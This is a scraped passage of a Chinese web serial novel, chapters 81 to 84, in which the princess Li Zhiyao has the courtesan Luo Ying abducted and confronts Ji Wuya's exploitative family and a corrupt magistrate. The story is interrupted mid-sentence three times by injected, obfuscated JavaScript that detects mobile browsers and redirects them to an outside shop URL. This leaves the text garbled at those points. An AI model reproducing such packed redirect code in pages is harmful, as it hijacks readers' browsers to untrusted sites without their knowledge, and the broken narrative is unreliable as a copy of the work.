六天前金三娘将得到纪无涯爹娘消息的事告诉给李之夭,她看到信后决定去天水城寻纪无涯爹娘。 谁知她带着金三娘刚到门口的时候正好遇上急匆匆策马来的徐子清。 李之夭心中有疑问便让踏雪掉转马头跟上徐子清。 徐子清落脚的地方是一处客栈,他此行除了身边的老管家之外并未带旁人,穿得衣服也简单不会引人注意。 李之夭他们的马车在客栈附近停了会儿,并未着急下马去寻他。 金三娘看出李之夭的犹豫,不禁有些担心:“主子,何事愁眉不展?” 李之夭把从沈齐那边知道的消息跟金三娘说了一遍,除了隐瞒纪无涯和燕国开国皇帝身份一事,说当年覆灭燕国丞相说是太傅徐子清的主意,“三娘,你觉得我现在还能相信老师么?” “既然现在开解不了,不妨顺其自然,船到桥头自然直,太傅来这里不正是因为你在宁缘城么?” 徐子清出现在这里,除了她的原因以外,还有一种可能就是沈齐也在这里,他们在朝中相互为敌为友一辈子,两年未见如今有了他的线索,换做是她也会来,可李之夭还想到另外一种可能,蓝素衣说她曾传信给智先生,她已让银来庄的人近几日注意从京城出来到宁缘城的官员,她自是不愿相信自己老师就是智先生的。 “主子,不去见见么?金三娘再问了一遍,想让李之夭确认自己的想法。 “不去了,我们先去天水城吧。” 只是在马车快要离开的时候,前方道路上忽然传来一阵哄闹声,一名面若桃花的姑娘坐在由人牵着的白马背上,她衣袂彩带飘飘,墨发飞扬,她提着竹编的篮子从人群中路过,玉指拂下些花瓣,所到之处一片馨香,围在周围的男人被迷得五魂三道,跟着她一路走一路笑。 “洛萤姑娘,你此月还未选入幕宾,今日打马游街可是在今日选?” 洛萤美眸微挑,她笑着否认他们说的话,“看我心情好,看谁顺眼就选谁。” 柳妈妈跟在后头伺候着这位祖宗,一边扬着手帕提醒,“洛萤姑娘卖艺不卖身,你们就别想打主意,否则自讨苦吃。” 有男人起哄符合道:“能和洛萤姑娘共处一室,促膝长谈也是三生有幸,哪敢肖想其他!” “就是哈哈哈,柳妈妈你多虑了,且不说之前打洛萤姑娘主意的人,不是瘸了就是命根子没了,我们哪敢再有有半分非分之想。” 柳妈妈笑起来,“算你识相,今晚姑娘新排的舞可要来瞧瞧。” 众人说着一定一定,话也一字不差落进李之夭耳朵里。 金三娘怕李之夭不知道,主动解释:“主子,这洛萤姑娘是云来间的头牌,名扬千里,歌舞色艺一绝,往常只在肃州活动,不知怎么突然来了宁缘城,我和耿进才去过乐坊,她并没别的异常。” 李之夭自然是听过洛萤的名头,天下难得出了这样的美人,看上去柔弱又心狠,李之夭未觉醒之前就对她感兴趣,今日难得碰上,自然不会错过这个机会。 “三娘,咱们行程推迟一日,今晚去乐坊看看。” 81. 美人 第81章 李之夭她们来到洛萤落脚的乐坊,天还未晚,此时进去的人已经不在少数,还有许多从外面来的大大小小马车,无一例外都是奔着洛萤的名头去的。 男女老少皆有,她们三人混在人堆里一起进入乐坊,就连平日雅间的价格也翻了两倍,踏雪交了银子三人一块来到雅间落座。 刚上来柳妈妈就凑上来招呼,明眼看到三人站位立刻知道谁才是主子,很有眼力劲的亲自为李之夭斟茶。 “像您这样大手笔的姑娘看着眼生,可是头次来?” 李之夭小酌一口茶,茶叶竟是燕国皇室才能喝的高山雪芽,她不由朝柳妈妈多看几眼,不知道云来间是否有曾经燕国皇室的人,确认她从前确实没在皇宫里见过柳妈妈才收回目光,“我确实是头次来,久闻洛姑娘盛名,正好得空来瞧一瞧。” 柳妈妈欣喜地再命人端来几盘精致的点心还送上一盘果子,“这些是柳妈妈我送你的,姑娘今日若看得喜欢欢迎下次再来,日后茶点我全送你。” 李之夭佯装惊喜赶忙道谢,“那多谢柳妈妈了,冲你这份心,日后一定会常来,就是不知你们在宁缘城待到几时,我不想扑空。” 柳妈妈眉飞色舞,“我们目前还会再宁缘城多待上一段时日,姑娘可是宁缘城本地人?” 李之夭摇头说不是,“我来此地寻亲,这不刚好碰上。” 对方哎呀一声神色立马转换关切起来,“有亲戚在宁缘城?日后有何打算,我们在肃州璧兰城,往后姑娘想看可去寻我,只要有演出的日子,定不会亏待了你。” 金三娘在一旁和踏雪互相对视,瞧她们这样熟络劲儿恨不得下一瞬就认个亲下来,李之夭微微勾唇一副受宠若惊的样子,“多谢柳妈妈,我日后还是得回京城去,爹娘不在人世,家里留下偌大产业等我打理,此番寻亲妈妈有所不知,实际是为了解亲戚麻烦,我明日就得离开出城一趟,办完事才能回来。” “没想到姑娘年纪轻轻却是个可怜人,怪我老妈子嘴闲不住,惹得姑娘伤心事,京城繁华,需操心的事可不少。”柳妈妈长吁短叹,一副跟着李之夭伤心的样子。 李之夭用帕子拭了拭眼角的眼泪,再抬头时眼尾已泛红,泫然欲泣的模样当真可怜,谁看了不得直呼心疼,“可不是,家里争来争去,仗着我是个没倚靠的姑娘,眼下想找人替我做主都难如登天。” “姑娘若不嫌弃,有事可来云来间寻我,我们虽然是个民间卖艺的,但还是认识些达官贵人算说得上话,世道艰险,你一人也是艰难。” 李之夭用力点头,一来二去两人明显比一开始的客套多了份亲近,柳妈妈转身面上熟稔表情收敛不少,李之夭同样换了副模样,踏雪瞧柳妈妈带人走远才提醒李之夭,她抬头嗤笑一声,两人都在试探套话,柳妈妈信了多少不知道,反正她从柳妈妈口中得到不少有用的消息。 云来间来头不小,背后有朝中官员扶持,还有可能是个大官,不然怎么可能这么明目张胆的说出这样的话。 柳妈妈将李之夭的来头一字不差的汇报给洛萤,听完整个过程的洛萤很快反应过来,“柳妈妈,你被人骗了,就算寻亲是真,但她也在套你话。” 柳妈妈哎呀一声,“那我岂不是闯祸了,不会给姑娘你带来麻烦吧?” 洛萤摇摇头,“义父已经来了宁缘城,他在京城为官,若此女是哪家的小姐给义父看看,说不定认识她,只要知道她的身份,不难猜她的打算是什么。” “我这就派人下去为她偷偷画张肖像找人给智先生送去。” 柳妈妈走后洛萤打开一张画像,肖像是寻方的模样,她收到任务过来宁缘城找宿宁公主,此行目的也有其他,就是缘楼的十四护法,此人从前救过她一命,她过来也是为了谢恩。 他的师兄十三护法也是此行的目标人物之一,她游街就是想看看能不能碰上其中一人,今天下来饶是谁都没见着。 洛萤小心翼翼把画像收好,带着舞女准备登台演出。 悠扬婉转的小调奏响,伴着歌女的歌声,夜色降临,瞬间场上的灯灭了大半,氛围昏暗,唯有圆台上不知从何处投下来的婀娜影子绰绰,竟引得蝴蝶纷飞。 水雾腾腾升起,突然在圆台炸开,引得四周惊呼声骤起,白雾散去,只见洛萤撑伞于中央翩翩起舞。 灯影恍恍,所有人醉心于舞台上的表演,就连李之夭也被洛萤的舞姿吸引,她忽然明白为何世间那么多男子喜欢美人,更喜美人惊鸿一舞,今日见美人跳舞,实在赏心悦目,一赔一笑顾盼生姿,她甚至蒙生出为美人一掷千金的想法。 踏雪本也沉浸在表演中,忽然察觉暗处一道视线,时不时朝她们这边望来,顿时心生警觉,压低声音跟李之夭说明情况避过耳目绕到视线源头,她凑近瞧了瞧,发现人画的正是李之夭的画像,她当即捂住画师的嘴把人带到雅间里。 李之夭看了看画卷上的画像,忍不住夸了一句画的不错,画师此时心中惊骇,只得赔笑着说话,“怪我看到姑娘长相觉得惊为天人,实在忍不住这才冒犯了姑娘,还请姑娘莫怪。” 李之夭嗯了一句不怪,“不知你若画好画像以后该如何处理。” 画师眼珠转了转,“自是珍藏。” “既然是珍藏,这副我留下也算珍藏。”李之夭收了画像,踏雪又将他随身携带的背包里检查了一圈,确认没有遗漏,金三娘才从旁给了些银钱,“是我买画的钱。” 画师不敢多说什么乖乖拿了银钱就要起身离开,但金三娘又为他递上来一杯茶,“辛苦了,喝杯茶再走。” 他哪敢拒绝一口闷下连连起身告退,踏雪跟他出去,画师走了没多久便抱头倒地昏迷不醒,踏雪趁机把人拖走。 画师都有过目不忘的本领,就算收了他手里的画,趁热回去还能再画一副,虽不知云来间打得什么主意,她有预感不会是什么好屁。 只能委屈他暂时留下来了。 李之夭默默吃下一块小糕点,她看了看台上已退下的洛萤,对方恰好目光朝这边望来,瞬间勾唇笑了起来,“有意思。” 金三娘还在思索着后面该如何应对, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379253|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等踏雪回来的时候,正好是第二场舞蹈演出的时候,台上洛萤并未登台,是别的舞女在跳舞,尽管她们舞艺不错,可来人三分之二都是冲着洛萤来的。 “踏雪,还得麻烦你辛苦一趟了。” “主子请说。” “把洛萤给我捆了带回银来庄去,为美人动心,趁机绑架带走,也是顺理成章的理由。”她说得极为真切,“既然是个不知什么身份的敌人,不如一开始就把她扼杀在摇篮里,以免日后给我带来麻烦,毕竟在自己眼皮底下才最安全。” 金三娘不禁感慨从前主子做事讲究水到渠成,布局慢慢收网,这次倒是干净利落简单粗暴。 李之夭说完起身下楼,她是第一个离开的人,洛萤从窗户望去,只能瞧见一个背影看不见正脸,想着后面该怎么做的时候,窗户忽然开了。 她回头望去,只见一名姑娘坐在窗边冲她招手,正想出声就被对方一把迷药放倒了。 踏雪趁机搜查一番,瞧见寻方和纪无涯的画像时她都忍不住惊讶好久,索性一起带走,临走时留下纸条,说心中悦之,但求美人顾,一生一世一双人,往后只为一人舞。 潇潇洒洒写了留言后带着人翻窗逃跑。 后来李之夭见到寻方和纪无涯的画像也忍不住惊叹,自己算不算做了件好事? “暂时不要让她知道是我们干的,耿进才你看好她。” 耿进才拱手应下,又忍不住朝柴房里昏睡过去的洛萤投去几眼,“若她今晚登不了台,想必宁缘城怕是要大乱了吧。” 李之夭解释:“就是大乱,她招摇这么几天,人一下子不见了,谁都想在洛萤面前留下好印象,尝试满足内心的幻想,柳妈妈知道了,说不定会朝幕后助她们的人求助,这段时间你们盯紧乐坊那边的动静,发现异常留心,切记不要打草惊蛇。” 耿进才拱手应下,她不放心地推开纪无涯的房门,大夫和小二守在里面,不会出什么差池,她退出来,“帮我照顾好他,纳多族一事,我帮他揭开三国埋藏的秘密,找到下月集上卷,还了他和寻方给我的恩情。” 李之夭说完依旧眉头紧锁,此行缘楼凶险,她的大意害得自己差点死在里面,她急切想跟纪无涯撇清关系,互不相欠,所以想好后面的事,她并不觉得开心和如释重负,最后低下头低声呢喃句,“真得还得清么?” 两人不知从什么时候开始互相亏欠,到现在谁欠谁多一些,她已经算不清了。 当夜果不其然在一曲后再次轮到洛萤登台,迟迟不见人影,最后柳妈妈实在压不住观众情绪,只得推门进去查看,除了敞开的窗户和源源不断吹进来的夜风,以及窗户下用砚台压着的信纸飞舞,屋子里空无一人。 宁缘城瞬间涌出许多百姓自发组织寻找洛萤的下落,就连银来庄都遇上搜查的人,被耿进才三言两语挡了回去,更是敞开屋门要他们检查,衙门的人搜查一番后不见踪影也不敢得罪银来庄,就撤退了。 外面引起的兵荒马乱,柳妈妈最后坐不住,孤身一人避开人群出来,被飞鸿看得一清二楚。 82. 造次 第82章 飞鸿按照李之夭的指示并未对柳妈妈动手,而是观察着她的一举一动,并将柳妈妈进客栈后的动向全部掌握在手里,她敲响房门的时候不敢再靠近怕别人发现,记下了房间位置在附近等人出来。 柳妈妈出来后直接去了衙门,没过多久,衙门的官差全部被惊动,才有了后来官差搜人的事。 李之夭等到早上带人出城,没曾想短短一晚上,出城的人都要遭受盘查。 她把证明自己身份的公主令牌从马车里递出来给守城的将士看,江氏赶忙拱手致歉准予通行,柳妈妈守在一旁并不是很乐意。 “为什么放她离开!大人不是说凡是进出都要盘查么!” 小卒赶忙把她拉到一旁说,“这是大魏的公主,就算大人官职再大,怎么敢当众搜公主的马车?” 后面说了什么声音越来越远便听不见了,李之夭她们一路朝着天水城赶去,直到第四天中午才到,刚到天水城,头顶太阳毒辣先去找了歇脚的地方,再叮嘱小二好生喂养随行的马,三人歇到傍晚才出门。 纪无涯爹娘的纪氏酒楼在当地随便一打听就知道,凡是知道的人听闻无不摇头,“你们是外地来的吧?” 金三娘点头说是,“有何问题?” “劝你们最好不要去了,纪氏酒楼夫妇在我们这是出了名的黑心,他们专门宰你们这样从外地来不知真相的人……”他一边说着一边朝四处贼头贼脑看去。 直到瞧见拐角处有个十五岁的少年窜出来,他吓得缩了缩脖子,拔腿就跑,边跑边朝李之夭她们回头喊话,“你们悄悄,他们家就是这样的得行!还不让人说真话了!有本事干就有本事承认啊!” 少年手里拿着扫帚作势就要朝说话的人身上招呼,“又是你!你天天盼着我们家不好,到处造谣,看爷爷我今天不打死你个龟孙!” 他说完手里的扫帚直接招呼在人屁股上,抽得他捂着挨打的地方跳脚哎哟叫唤,待将人赶远后少年去而复返径直到李之夭跟前,“各位姐姐,你们不要听他胡说,听说你们是专门来找咱们纪氏酒楼的,我带你们去。” 李之夭让他引路,“说是冤枉,可我看这里的人大多数都对你们评价都不怎样。” “那是他们嫉妒我家赚得多,你们可千万不要信了他们的话。”少年言之凿凿,看神色不像作假,一路上嘴也甜,一口一个姐姐们叫着,推荐自家的招牌菜。 金三娘笑得嘴角放不下来,“小兄弟,你叫什么名字?” 少年弯了眉眼,“我叫纪宗旭。” 他虽跟纪无涯同姓纪,可这一趟下来,根据李之夭的观察,他们二人长得完全不像。 纪宗旭皮肤黝黑,不如纪无涯白净,眼珠子总是转来转去,能看出来鬼主意很多,时不时往她和踏雪身上瞟,似是在打量,体型壮实,声音洪亮。 长得不算太难看,远远不及纪无涯。 他的双手没有茧子,在家或是酒楼都不是干活帮工的主。 纪无涯的手她记得有些粗糙,两只手都有练剑或是干活磨出来的茧子,跟纪宗旭这完全不一样。 单单看这一人,李之夭就明白一开始的男人没有说谎。 李之夭等人不动声色交换了眼神,示意不要轻举妄动跟着一路走到纪氏酒楼门前。 即使酒楼开在天水城中央附近的拐角处,但凡经过此处拐角的人都能见到纪氏酒楼的牌匾,外观大气宏伟,可见他们家废了多少心血和钱财建造出来。 才刚到门口便听到里面传来的吵骂声,李之夭哎呀一声,“何人胆敢在此造次!去把人给我揪出来,我倒要看看何人胆子这么大!” 不给纪宗旭阻止的机会,踏雪飞身快速进去,金三娘安慰道:“别怕,我们为你主持公道!” 他神色僵了僵,干笑两声本想跟着进去,金三娘再次拉住他,“万一里面打起来伤到你怎么办,我们在外等着先看看。” 踏雪出来时候手里剃了个肥头大耳的中年男人,面部紧绷不断挣扎大叫救命,吓得不轻,刚站稳脚跟愣神片刻立马回神破口大骂。 “我呸!什么童叟无欺!好啊,还想武力压制让我闭嘴是吧!今日我偏不!你们家就是这样得性,欺负我一个外地人!”男人说完就往地上一坐,开始鬼哭狼嚎诉说纪氏酒楼的恶行。 “都是做生意的,怎么能这么黑心!黑心的王八蛋!一盘土豆丝,味道连我养的狗都不吃,你们竟然敢收我二两银子!想钱想疯了吧!外面建成这样恢弘,看你们也不想缺钱的人,现在我算是知道了,你们不是缺钱,你们是缺德!” 他说完身边追来的狗象征性地狂吠两声,男人坐地上哭得昏天黑地,求爷爷告奶奶,“我的老天奶啊,土豆丝二两银子,红烧肉胆敢收我二十五两!我去京城最贵的酒楼吃饭一顿才四十两!王爷家的宴席一桌才五十两左右,怎么你们家的猪是金子做的?吃了能成仙发财不成?这一顿你们敢跟我要一百两,没天理啊,缺大德的玩意儿!” 纪宗旭下意识望向李之夭,本在看戏的李之夭察觉有人在看自己,冲他微微扯了扯嘴角,纪宗旭见人没被吓跑,上去就给男人抽了一巴掌,“咱们家的菜单都是明码标价,你又是哪家派来抹黑我们的,你别信口雌黄,吃不起就不要进来,想吃霸王餐啊,信不信咱们去衙门走一圈,看看你还敢不敢了?” 男人震惊地捂着挨打的脸,顿时从地上爬起来捋起袖子就要跟纪宗旭干架,男人在里面的家丁此时也跟了出来把纪宗旭围起来,身后还跟着一对四十出头的夫妻,妇人率先叫骂,“老娘今日就收你一百两怎么了!穿得人模狗样,怎么一个字儿都拿不出来,咱们家明码标价,是你看菜单不长眼!” 得到帮手的男人跳起来骂回去,“什么狗屁!坐地起价的黑心鬼!小心天打雷劈遭到报应!诅咒你以后孙子生出来没□□!” 他说完仗着现在在外面有帮手,矛头调转纪宗旭,“臭小子,你敢打我!老子行商二十年,在江南也是有头有脸的人物,今日我偏要砸了你的酒楼!” 两伙人顿时扭打在一起,纪宗旭生怕李之夭她们跑了,赶忙过来安抚,“各位姐姐别介意,我们家绝对不会是他说得那样,这人想吃霸王餐,故意来败坏我家名声的,千万别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389261|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信。” 李之夭符合的点点头,“是这样的,我信你!” 男人听到顾不得摔地上屁股疼立马站起来劝李之夭,“姑娘,你可千万别被这小子的花言巧语骗了,我也是被他骗了才落到今日这副田地,他们一家就没一个好东西!报官!我要报官!我要告到官府去!没有天理王法了!” “是谁要告官啊?” 从围观的人堆里迅速涌出官差衙役,把男人直接给摁在了地上,身穿官服的县令信步从人群里走出来站定。 男人眼里顿时燃起希望,“大人!大人!是我要告官!” 县令转了转手中的核桃,“这里的事本官都听说了。”他眼神瞬间冷了下来,“这就你的不是了,你吃不起纪氏酒楼为何还要去吃霸王餐呢,吵吵闹闹的影响多不好,你看看周围这么多围观的百姓,对纪氏酒楼造成的伤害有多大,今日之事你要么结了单子,另外再补偿他们五百两银子这事就这么算了,本官看也不是什么大事,要么只能把你抓牢里挨顿打住上十天半个月了。” 男人眼底的希望瞬间凝固,取而代之的是难以置信,他嘴唇翕动,半晌才吐出来几个字,“怎、怎么会这样,明明是他们……” 随后恍然大悟,从地上蹦起来,“我懂了,你跟他们是一伙儿的!你这个贪官!我就算去挨顿打,在牢里蹲十天半个月,也不会妥协,你们简直欺人太甚!” 县令叹口气,“有句古话,识时务者为俊杰,你不识时务就算了,胆敢张口污蔑本官,这可是重罪。” 男人拍了拍胸脯给自己壮胆,“我呸!” 县令猝不及防被唾了一口唾沫面色瞬间黑了下来,让人狱卒把男人拿下带走,走到一半男人一直喊等等,等等。 李之夭他们全部人都以为男人妥协了,谁知他三步并两步上前走到纪宗旭跟前,扬手给他个大嘴巴子。 这番操作着实令人震惊,男人甩了甩打疼了的手,“还你的。” 纪宗旭捂着脸原先在脸上的乐观模样逐渐龟裂,变得狰狞,李之夭适时出声,“纪阿弟,你没事吧?” 那一巴掌,李之夭她们三看着都疼。 纪宗旭及时收敛起情绪,开始红着眼眶可怜兮兮看着李之夭,“姐姐们,此人实在蛮不讲理,算了,这样的情况经常发生,我都习惯了。” 他本想着卖波惨顺势勾起她们的同情心,后面好让她们拿钱出来,因为往常过来的女顾客有不少吃这一套,就连想报复男人的心思都没了。 李之夭点头附和说是,“动手打你是他的不是了,但你也打了他,两人扯平了,不过真是可惜,你们打架我还真是没看够。” 纪宗旭一噎,按照发展不应该是上来安慰他,抚平受伤的心灵么? 怎么到这里走向全变了。 偏偏李之夭佯装浑然不知情,笑盈盈地看着他,“那两位是你爹娘么?我还挺喜欢看你爹娘打架的,不然你跟他们商量下,专门为我表演几场呗。” 说着故意冲纪宗旭的爹娘晃了晃鼓鼓嬢嬢的钱袋子。 直接让在场的人包括县令在内眼睛都看直了。 83. 钱财 第83章 县令明目张胆偏袒纪氏酒楼,天水城的人敢怒不敢言,纪宗旭还整日溜达在城门口,生怕旁人断他们财路,赚得的黑心钱不出意外县令也能从中捞到油水。 李之夭收起钱袋子,似笑非笑地望向纪宗旭,对方也是个明白人,脑瓜子转得很快,心中愈发笃定自己这次找过来一条大鱼,路上说得口干舌燥一切都是值得的。 一行人进去后,外头围观的百姓碍于有县令在不敢出声,倘若出生,谁不是被拉到牢里关起来,家里人不拿银钱赎人死在里面都有可能,若是给的钱少了,出来都得掉层皮。 哪怕心中不忍,在权力面前也不敢说话,纷纷摇头叹气散了。 纪宗旭有些不明白李之夭的意思,引着落座前他还特意用袖子擦了擦凳子和桌子,笑容谄媚,“姐姐说的打架是什么意思?” 李之夭想了想,指了指踏雪,随后又指了指纪宗旭,正当纪宗旭摸不着头脑时,没被挨打的另一半脸再次传来火辣辣的疼,瞬间两边脸对称了许多。 纪宗旭捂着脸跳起来想叫嚣,李之夭把钱袋子拿出来吊在他眼前。 “别生气,我只是给你示范一下。”李之夭蓄人无害的盯着他,眨着水汪汪的眼睛,一脸真诚,饶他心里有再多怨气和不满,也不好发作,只能闭嘴吃下哑巴亏。 纪宗旭转头望向他爹娘,但他爹娘也不是掉钱眼里的人,改了话题,“若是想看表演,我知道天水城里有帮戏班子,他们杂耍远近闻名,姑娘想找乐子,千万不要再拿我们取乐了。” 纪爹说得战战兢兢,纪母也跟着说是,李之夭初衷也只是想吓吓他们,见他们现在顿时也没了玩闹的兴趣,挥手作罢,“打趣罢了,不要放在心上,我看你们这门面位置极好,怎么不见一位客人。” 纪母赶紧解释:“咱们家名声都被心存嫉妒的人搞臭了,若得县令明察秋毫,始终站在我们这边,小店才得以存活,也只有像您这样人美心善的姑娘才愿意光顾。” 话里话外李之夭倒是觉得场面话说得漂亮,不过总感觉实在说她人傻钱多,是个好骗的。 见这里没别的事,县令也带人撤了,临走前补充了句说别忘了送东西过去。 是什么东西,李之夭猜测估计就是银子。 在她的暗示下,踏雪借口上茅房则是神不知鬼不觉的离开酒楼,去解救被带走的男人,看了出好戏总不能让人平白无故收了冤枉或者挨顿打。 她和金三娘埋头看菜单,菜单确实古怪,乍一看价格比外面还便宜,但不细看很难发现是按照个数来买的,几根土豆丝要价五文钱,整盘土豆丝可不得二两银子。 更别说一块红烧肉就五两银子,整盘下来就得二十五两。 两人默默对视一眼,想找先前路上纪宗旭推荐的招牌菜,发现菜单上根本没有这些菜名。 没有菜名和报价,不就是等着他们坐地起价么。 坑,实在太坑了。 李之夭默默在心底摇头,于是合上菜单看向纪氏夫妇,“不瞒你们说,我此行是来跟你打探个人的。” 纪母笑道:“姑娘想打探谁,咱们店来来往往不管外乡人还是天水城的人都知道得一清二楚。” “此人说起来跟你们也是有缘,也姓纪,所以看到你们我才有种亲切感。” 纪宗旭从厨房出来,拿熟鸡蛋滚着两边红肿的脸颊,听到李之夭说话,出声道:“天水城姓纪的就咱们一家。” 李之夭笑容一点一点加深,“此人你们一定知晓,他曾是洛城栾县人,小时候因为体中带毒总被说是祸害,十岁那年他离家出走,只带了十枚铜板。” 她一边说一边盯着纪氏夫妇的脸色,他们的笑容渐渐僵在脸上,到最后满是慌乱。 “他的名字叫纪有命。” 最后一个字说完纪母双腿一软,若非纪爹扶了一把此刻已经坐在地上了,她顿时泪眼朦胧的看向李之夭,纪爹眉头紧缩,反倒是纪宗旭率先反应过来。 “你找那个短命鬼干什么?从小到大都是个祸害,小时候祸害家里,长大了去祸害别人,手里沾了多少条人命,想想都觉得丢人。” 纪母神色略微有些尴尬,她往前半步,小心翼翼试探道:“可是他出了什么事?” 纪爹冷哼不满瞪着纪母,后面说的话在极力撇清关系,“你还管他作甚,她们说不定是因为小祸害在外头闯了祸找不到人才来找我们,我跟你们说,他的事跟我们没关系,冤有头债有主,别来牵扯我们家。” 李之夭说了句是,“那我们手里的钱看样子也不用给你们了。” 纪宗白立马来了精神,“什么钱?” 李之夭晃了晃手里的钱袋子,“这些钱喽,我找不到他的人,只好来问问他的家人,你们既然没关系,那我们属实也没有待下去的必要。” 说完她拿起钱袋子起身就要走,纪宗白抢先纪爹开口挽留,“从前他毒发,家中为了给他治病花费不少银子,这笔钱既然找不到他人,给我们也是应该的,权当是从前对我们的亏欠的补偿。” 纪爹听完符合着说是,“没错,当初为了给他治病可废了家中不少积蓄,你必须把钱给我们。” 金三娘气极反笑,“方才你们不还跟他撇清关系,怎么现在又急着认下这层关系了。” 纪宗旭振振有词道:“哪也得看是什么事,看见了没,这酒楼能够顺利开门花得就是他的钱,他的钱就是我们的钱,就算现在不让我们收下,日后还是会到我们手里。” 李之夭早就猜测他们能在这么好的地段做生意,就连装修家具全都是最好的,其中必然有诈,就算他们做黑心生意也不可能盈利这么快,毕竟不是哪位外乡人来天水城都能成冤大头。 其中竟有纪无涯的帮扶,她突然很想冲回去掰开纪无涯的脑子看看他里面在想什么。 想归想,万一其中有她不知道的内幕冤枉了人家,李之夭还是忍了下来,打算见到纪无涯的时候好好问问。 “你们是兄弟,为何偏偏他体内有毒,你看上去生龙活虎一点事都没有。”李之夭蹙眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403425|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此话一出引得纪爹和纪母脸色大变,纪爹张口争辩。 “我不知道,他打娘胎出来就这样,折磨人极了。” 纪宗旭不懂其中弯弯绕绕,神色上是止不住对纪无涯的嫌弃,“说不定是他上辈子造孽太深,这辈子只能当个短命鬼。” 纪母此时严声呵斥打断,眼中再也没有方才的泪水,“你少说两句。” 踏雪正好回来,还顺手将门给带上了,李之夭慢悠悠坐下,“他体内的毒是避世不出的人村中才有的迹象,既然你们是他的亲生父母,想必身手也都不错,哪怕生下来的小儿子,也会有一样的特征,忘记说了,他还欠我一条命,你们还了这命,钱自然也给你们。” 李之夭说完把钱袋子往桌上一扔,踏雪上来钳制住纪宗旭把他头摁在桌子上,长剑一出直直对准他的脖子,吓得纪氏夫妇脸色煞白,高声尖叫。 “纪有命跟我们没关系!冤有头债有主,你欺负我们算什么本事!”纪爹指着李之夭唾沫横飞,双目圆睁,一副要把人生吞活剥了的样子。 “可你们方才不是还想要这钱,是纪有命的家人么?欠什么,还什么,找不到他,只能找你们了。” 纪宗旭吓得鼻涕眼泪都快出来了,面色涨红一个劲儿喊救命,“爹!娘!你们救救我啊!我不想死!” 纪母哆哆嗦嗦说不出话来,双目含泪无辜又绝望的看着李之夭,让她觉得浑身不自在,难怪纪无涯不喜欢女人哭,看到纪母这副表情顿时明白许多。 若是自小在这样的家庭长大,一有事母亲只会双目含泪的望着,就算有再多不满都仿佛打在棉花上,李之夭别过眼去。 “你快放开他!若是他有个三长两短,我一定要告诉县令,让他把你们全部送进大牢,让你们人头落地!”纪爹上来扒踏雪的手,反倒是被踏雪一脚踹飞,躺在地上捂着肚子哀嚎。 纪母惊叫一声忙去扶纪爹,顿时哇哇哭了起来,“你到底想让我们怎么样?他的到来把我们家害得不成样子,现在还想来害宗旭的命,他才十五岁啊,年纪轻轻不能就这么没了,钱我们不要了,你们去找纪有命。” 她哭得声泪俱下,一副受了天大委屈的模样,哪怕周围没有人,但她依旧在哭诉,李之夭则是成了无恶不作的坏人,欺压逼迫百姓。 “我们到底做错了什么,要你大动干戈,甚至不惜代价取我儿的性命,是大儿不成器惹怒了姑娘,但求你高抬贵手,留他一条小命吧,求你了。” 纪母开始朝李之夭磕头,头砸在地上磕得棒棒作响,动静闹得很大,哪怕屋门紧闭,外头还是围过来好些凑热闹的百姓。 房门砰的一声从外面破开,衙役迅速围了进来,县令走在最后大摇大摆进来,“光天化日,你们竟敢危害百姓,简直不把本官放在眼里!” 纪宗旭看到救星一样不要命吼叫,“大人救命啊!大人!” 踏雪把他揪起来提到跟前,长剑横在他脖子上,李之夭拿出公主令牌,不徐不疾道:“我乃大魏公主,县令你想治谁的罪啊?” 84. 成亲 第84章 县令吓得脚步一顿,将要说出口的话瞬间咽回了肚子里去。 公主驾到,按照礼数他们全部都得跪拜。 李之夭并未喊他们起身回话,一行人就这么沉默着,县令心里七上八下,汗水从脸颊滑,想起方才外头他的所作所为,当真公主的面可是演都不带演的。 若是东窗事发,那么他头上这顶乌纱帽怕是保不住了。 最后还是纪宗旭出声打破现场的氛围,“你们不要被她给骗了!谁知道她的令牌是真是假,若真的是公主,怎么会来到我们这样的小地方!” 纪爹连连点头,站起身来直接劝说县令,“大人,我儿说的是,你可千万不能被她给骗了。” 县令看着李之夭的令牌,上面镌刻的是大魏象征公主身份的孔雀和其翎毛,做工非凡不像是假的,但纪爹和纪宗旭的话也提醒了他,当今圣上膝下只有一个女儿,且才十二岁,眼前这位姑娘看上去也十七岁了,年龄跟他知道的对不上。 这么想着县令顿时心里来了底气,他慢悠悠站起来,拍了拍衣服上的灰尘,“本官也是糊涂了,皇上膝下只有女儿才十二岁,你这么大一个人,冒充人都不知道提前调查一下的吗,招摇撞骗,来人,把她们拿下!” 